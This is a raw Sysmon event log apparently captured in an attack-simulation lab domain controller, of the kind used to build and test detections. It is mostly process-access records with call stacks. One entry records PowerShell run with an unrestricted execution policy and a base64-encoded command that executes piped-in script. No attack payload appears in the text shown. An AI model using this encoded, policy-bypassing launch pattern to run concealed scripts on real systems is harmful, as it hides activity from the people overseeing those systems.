09:10:54.391{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004117Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.391{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004116Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.391{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004115Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.391{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-291E-5F80-D300-000000007F01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004114Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.391{A5F018FF-291E-5F80-D200-000000007F01}51084856C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-291E-5F80-D300-000000007F01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd4e32a6(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc984130(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc983e01(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd435466(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc944997(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9a2e66(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9864cb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9864cb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc98635c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9782e1(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc984814(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc984407(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc984130(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc983e01(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd435466(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc96ac62(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc96a232(wow64) 154100x80000000000000004113Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.404{A5F018FF-291E-5F80-D300-000000007F01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291E-5F80-E5A3-070000000000}0x7a3e50HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-291E-5F80-D200-000000007F01}5108C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000004112Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.344{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-291E-5F80-D200-000000007F01}5108C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004111Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.344{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-291E-5F80-D200-000000007F01}5108C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000004110Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.313{A5F018FF-291E-5F80-D200-000000007F01}5108C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_le5vrdj3.mvs.ps12020-10-09 09:10:54.313 10341000x80000000000000004109Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.297{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-291E-5F80-D200-000000007F01}5108C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004108Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-291E-5F80-D000-000000007F01}4940916C:\Windows\system32\conhost.exe{A5F018FF-291E-5F80-D200-000000007F01}5108C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004107Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004106Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004105Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004104Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004103Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004102Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004101Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004100Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 